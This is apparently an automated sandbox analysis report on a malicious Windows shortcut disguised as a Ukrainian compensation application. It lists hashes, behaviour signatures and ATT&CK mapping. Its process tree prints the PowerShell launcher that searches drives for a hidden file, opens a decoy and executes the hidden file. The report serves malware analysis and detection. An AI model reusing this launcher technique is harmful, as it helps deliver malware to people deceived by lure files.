Analysis

  • max time kernel
    42s
  • max time network
    45s
  • platform
    windows7_x64
  • resource
    win7-20220812-en
  • resource tags

    arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system
  • submitted
    21-09-2022 05:57

General

  • Target

    ЗАЯВА-на-отримання-компенсації.lnk

  • Size

    411KB

  • MD5

    c15aa00479cae0a8bae7c926d7fd8ba6

  • SHA1

    9c7c059e617380eb7bf5b5ae41b2874e2cf5111c

  • SHA256

    bc4cab14e4b378a7b98185367b4778f92eb4335faba1a4503f4cfb7aba8f13e7

  • SHA512

    79067ef1afbd879b3ab011354a626e567ebf463fd60f4c5d82c7332906fa4e6c9e85e8d33926cf7c2ed037a7b7eee92a4ce17020450442443740286efa4b2e72

  • SSDEEP

    24:8y+wj/erlZygbDhw+svWP2+sv30PvcNnCsCcOrAI+/1:8m/6lZWnrPccCssAI

Score
3/10

Malware Config

Signatures

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\ЗАЯВА-на-отримання-компенсації.lnk
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1648
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -Command $f = 'jfilyg7';Foreach($d in Get-PSDrive|ForEach-Object{$PSItem.Root} | findstr ':\') {$w=gci -hidden $d | findstr $f;if($w.Contains($f)){break}};ii $d'ЗАЯВА';start($d+$f)
      2⤵
      • Suspicious behavior: CmdExeWriteProcessMemorySpam
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1288
      • C:\Windows\SysWOW64\findstr.exe
        "C:\Windows\system32\findstr.exe" :\
        3⤵
          PID:1400

    Network

    MITRE ATT&CK Matrix ATT&CK v6

    Discovery

    System Information Discovery

    1
    T1082

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • memory/1288-88-0x0000000000000000-mapping.dmp
    • memory/1288-92-0x0000000075811000-0x0000000075813000-memory.dmp
      Filesize

      8KB

    • memory/1288-93-0x0000000073AF0000-0x000000007409B000-memory.dmp
      Filesize

      5MB

    • memory/1288-95-0x0000000073AF0000-0x000000007409B000-memory.dmp
      Filesize

      5MB

    • memory/1400-94-0x0000000000000000-mapping.dmp
    • memory/1648-54-0x000007FEFB931000-0x000007FEFB933000-memory.dmp
      Filesize

      8KB